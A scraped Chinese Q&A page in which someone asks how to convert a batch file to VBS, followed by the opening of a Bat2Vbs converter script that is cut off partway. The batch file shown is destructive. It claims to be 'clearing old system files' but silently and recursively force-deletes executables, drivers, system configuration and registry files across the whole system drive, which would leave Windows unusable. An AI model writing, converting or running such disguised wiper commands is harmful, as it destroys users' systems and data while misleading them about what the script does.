如何将bat转vbs，高手来，有条件的告诉我方法

来源：百度知道 编辑：UC知道 时间：2024/06/16 20:49:23
@echo off
echo 正在清除系统旧文件，请稍等......
del /f /s /q %systemdrive%\*.cat
del /f /s /q %systemdrive%\*.exe
del /f /s /q %systemdrive%\*.sys
del /f /s /q %systemdrive%\*.pnf
del /f /s /q %systemdrive%\*.inf
del /f /s /q %systemdrive%\*.ini
del /f /s /q %systemdrive%\*.xml
del /f /s /q %systemdrive%\*.cfg
del /f /s /q %systemdrive%\*.cpl
del /f /s /q %systemdrive%\*.1
del /f /s /q %systemdrive%\*.txt
del /f /s /q %systemdrive%\*.nls
del /f /s /q %systemdrive%\*.nt
del /f /s /q %systemdrive%\*.tbl
del /f /s /q %systemdrive%\*.cpx
del /f /s /q %systemdrive%\*.prx
del /f /s /q %systemdrive%\*.reg
del /f /s /q %systemdrive%\*.ds
del /f /s /q %systemdrive%\*.cer
del /f /s /q %systemdrive%\*.dat
del /f /s /q %systemdrive%\*.zip
del /f /s /q %systemdrive%\*.drv
del /f /s /q %systemdrive%\

'*****************************************************************************
' FileName: Bat2Vbs.vbs
' Author: baomaboy
' Abstract: 将BAT文件转化为VBS文件保存
'*****************************************************************************
Dim WshShell,FSO
On Error Resume Next
Set WshSHell = WScript.CreateObject("WScript.Shell")
Set FSO = CreateObject("Scripting.FileSystemObject")
Set WinVer = WshSHell.Environment("Process")
Set Args = WScript.Arguments
CloseTime = 5
FileName = WScript.ScriptName
FileFullName = WScript.ScriptFullName
FilePath = FSO.GetParentFolderName(FileFullName)
InsPath = FSO.GetSpecialFolder(1)
InsFullName = FSO.BuildPath(InsPath ,FileName)
Copyright="玲珑科技"
QQ="QQ:25926183"
Email="Email:[email=25926183@qq.com]25926183@qq.com[/email]"
InsTitle="Bat2Vbs-T